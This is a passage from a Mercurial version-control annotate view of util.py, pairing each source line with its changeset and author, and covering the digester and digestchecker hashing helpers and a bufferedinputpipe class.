Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
194 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
195 >>> d = digester([b'md5', b'sha1']) |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
196 >>> d.update(b'foo') |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
197 >>> [k for k in sorted(d)] |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
198 ['md5', 'sha1'] |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
199 >>> d[b'md5'] |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
200 'acbd18db4cc2f85cedef654fccc4a4d8' |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
201 >>> d[b'sha1'] |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
202 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
203 >>> digester.preferred([b'md5', b'sha1']) |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
204 'sha1' |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
205 """ |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
206 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
207 def __init__(self, digests, s=''): |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
208 self._hashes = {} |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
209 for k in digests: |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
210 if k not in DIGESTS: |
37096
895f209b593b
util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents:
37095
diff
changeset
|
211 raise error.Abort(_('unknown digest type: %s') % k) |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
212 self._hashes[k] = DIGESTS[k]() |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
213 if s: |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
214 self.update(s) |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
215 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
216 def update(self, data): |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
217 for h in self._hashes.values(): |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
218 h.update(data) |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
219 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
220 def __getitem__(self, key): |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
221 if key not in DIGESTS: |
37096
895f209b593b
util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents:
37095
diff
changeset
|
222 raise error.Abort(_('unknown digest type: %s') % k) |
35582
72b91f905065
py3: use node.hex(h.digest()) instead of h.hexdigest()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
35513
diff
changeset
|
223 return nodemod.hex(self._hashes[key].digest()) |
22962
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
224 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
225 def __iter__(self): |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
226 return iter(self._hashes) |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
227 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
228 @staticmethod |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
229 def preferred(supported): |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
230 """returns the strongest digest type in both supported and DIGESTS.""" |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
231 |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
232 for k in DIGESTS_BY_STRENGTH: |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
233 if k in supported: |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
234 return k |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
235 return None |
4d58f4083148
util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents:
22958
diff
changeset
|
236 |
22963
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
237 class digestchecker(object): |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
238 """file handle wrapper that additionally checks content against a given |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
239 size and digests. |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
240 |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
241 d = digestchecker(fh, size, {'md5': '...'}) |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
242 |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
243 When multiple digests are given, all of them are validated. |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
244 """ |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
245 |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
246 def __init__(self, fh, size, digests): |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
247 self._fh = fh |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
248 self._size = size |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
249 self._got = 0 |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
250 self._digests = dict(digests) |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
251 self._digester = digester(self._digests.keys()) |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
252 |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
253 def read(self, length=-1): |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
254 content = self._fh.read(length) |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
255 self._digester.update(content) |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
256 self._got += len(content) |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
257 return content |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
258 |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
259 def validate(self): |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
260 if self._size != self._got: |
37096
895f209b593b
util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents:
37095
diff
changeset
|
261 raise error.Abort(_('size mismatch: expected %d, got %d') % |
895f209b593b
util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents:
37095
diff
changeset
|
262 (self._size, self._got)) |
22963
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
263 for k, v in self._digests.items(): |
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
264 if v != self._digester[k]: |
23076
c312ef382033
i18n: add hint to digest mismatch message
Wagner Bruna <wbruna@softwareexpress.com.br>
parents:
23030
diff
changeset
|
265 # i18n: first parameter is a digest name |
37096
895f209b593b
util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents:
37095
diff
changeset
|
266 raise error.Abort(_('%s mismatch: expected %s, got %s') % |
895f209b593b
util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents:
37095
diff
changeset
|
267 (k, v, self._digester[k])) |
22963
56e04741bbf1
util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents:
22962
diff
changeset
|
268 |
11565
7546d4a272c8
util: improved the check for the existence of the 'buffer' builtin
Renato Cunha <renatoc@gmail.com>
parents:
11469
diff
changeset
|
269 try: |
15657
d976b1ef6760
util: don't mess with builtins to emulate buffer()
Matt Mackall <mpm@selenic.com>
parents:
15656
diff
changeset
|
270 buffer = buffer |
11565
7546d4a272c8
util: improved the check for the existence of the 'buffer' builtin
Renato Cunha <renatoc@gmail.com>
parents:
11469
diff
changeset
|
271 except NameError: |
33549
9a2ee9591acc
util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents:
33446
diff
changeset
|
272 def buffer(sliceable, offset=0, length=None): |
9a2ee9591acc
util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents:
33446
diff
changeset
|
273 if length is not None: |
9a2ee9591acc
util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents:
33446
diff
changeset
|
274 return memoryview(sliceable)[offset:offset + length] |
9a2ee9591acc
util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents:
33446
diff
changeset
|
275 return memoryview(sliceable)[offset:] |
10756
cb681cc59a8d
util: fake the builtin buffer if it's missing (jython)
Ronny Pfannschmidt <Ronny.Pfannschmidt@gmx.de>
parents:
10487
diff
changeset
|
276 |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
277 _chunksize = 4096 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
278 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
279 class bufferedinputpipe(object): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
280 """a manually buffered input pipe |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
281 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
282 Python will not let us use buffered IO and lazy reading with 'polling' at |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
283 the same time. We cannot probe the buffer state and select will not detect |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
284 that data are ready to read if they are already buffered. |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
285 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
286 This class let us work around that by implementing its own buffering |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
287 (allowing efficient readline) while offering a way to know if the buffer is |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
288 empty from the output (allowing collaboration of the buffer with polling). |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
289 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
290 This class lives in the 'util' module because it makes use of the 'os' |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
291 module from the python stdlib. |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
292 """ |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
293 def __new__(cls, fh): |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
294 # If we receive a fileobjectproxy, we need to use a variation of this |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
295 # class that notifies observers about activity. |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
296 if isinstance(fh, fileobjectproxy): |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
297 cls = observedbufferedinputpipe |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
298 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
299 return super(bufferedinputpipe, cls).__new__(cls) |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
300 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
301 def __init__(self, input): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
302 self._input = input |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
303 self._buffer = [] |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
304 self._eof = False |
25672
050dc6eabc92
bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25671
diff
changeset
|
305 self._lenbuf = 0 |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
306 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
307 @property |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
308 def hasbuffer(self): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
309 """True is any data is currently buffered |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
310 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
311 This will be used externally a pre-step for polling IO. If there is |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
312 already data then no polling should be set in place.""" |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
313 return bool(self._buffer) |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
314 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
315 @property |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
316 def closed(self): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
317 return self._input.closed |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
318 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
319 def fileno(self): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
320 return self._input.fileno() |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
321 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
322 def close(self): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
323 return self._input.close() |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
324 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
325 def read(self, size): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
326 while (not self._eof) and (self._lenbuf < size): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
327 self._fillbuffer() |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
328 return self._frombuffer(size) |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
329 |
38713
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
330 def unbufferedread(self, size): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
331 if not self._eof and self._lenbuf == 0: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
332 self._fillbuffer(max(size, _chunksize)) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
333 return self._frombuffer(min(self._lenbuf, size)) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
334 |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
335 def readline(self, *args, **kwargs): |
40029
e2697acd9381
cleanup: some Yoda conditions, this patch removes
Martin von Zweigbergk <martinvonz@google.com>
parents:
39905
diff
changeset
|
336 if len(self._buffer) > 1: |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
337 # this should not happen because both read and readline end with a |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
338 # _frombuffer call that collapse it. |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
339 self._buffer = [''.join(self._buffer)] |
25672
050dc6eabc92
bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25671
diff
changeset
|
340 self._lenbuf = len(self._buffer[0]) |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
341 lfi = -1 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
342 if self._buffer: |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
343 lfi = self._buffer[-1].find('\n') |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
344 while (not self._eof) and lfi < 0: |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
345 self._fillbuffer() |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
346 if self._buffer: |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
347 lfi = self._buffer[-1].find('\n') |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
348 size = lfi + 1 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
349 if lfi < 0: # end of file |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
350 size = self._lenbuf |
40029
e2697acd9381
cleanup: some Yoda conditions, this patch removes
Martin von Zweigbergk <martinvonz@google.com>
parents:
39905
diff
changeset
|
351 elif len(self._buffer) > 1: |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
352 # we need to take previous chunks into account |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
353 size += self._lenbuf - len(self._buffer[-1]) |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
354 return self._frombuffer(size) |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
355 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
356 def _frombuffer(self, size): |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
357 """return at most 'size' data from the buffer |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
358 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
359 The data are removed from the buffer.""" |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
360 if size == 0 or not self._buffer: |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
361 return '' |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
362 buf = self._buffer[0] |
40029
e2697acd9381
cleanup: some Yoda conditions, this patch removes
Martin von Zweigbergk <martinvonz@google.com>
parents:
39905
diff
changeset
|
363 if len(self._buffer) > 1: |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
364 buf = ''.join(self._buffer) |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
365 |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
366 data = buf[:size] |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
367 buf = buf[len(data):] |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
368 if buf: |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
369 self._buffer = [buf] |
25672
050dc6eabc92
bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25671
diff
changeset
|
370 self._lenbuf = len(buf) |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
371 else: |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
372 self._buffer = [] |
25672
050dc6eabc92
bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25671
diff
changeset
|
373 self._lenbuf = 0 |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
374 return data |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
375 |
38713
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
376 def _fillbuffer(self, size=_chunksize): |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
377 """read data to the buffer""" |
38713
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
378 data = os.read(self._input.fileno(), size) |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
379 if not data: |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
380 self._eof = True |
be930f16a52a
util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25245
diff
changeset
|
381 else: |
25672
050dc6eabc92
bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25671
diff
changeset
|
382 self._lenbuf += len(data) |
25406
be930f16a52a
util: introduce a bufferedinputpipe utility
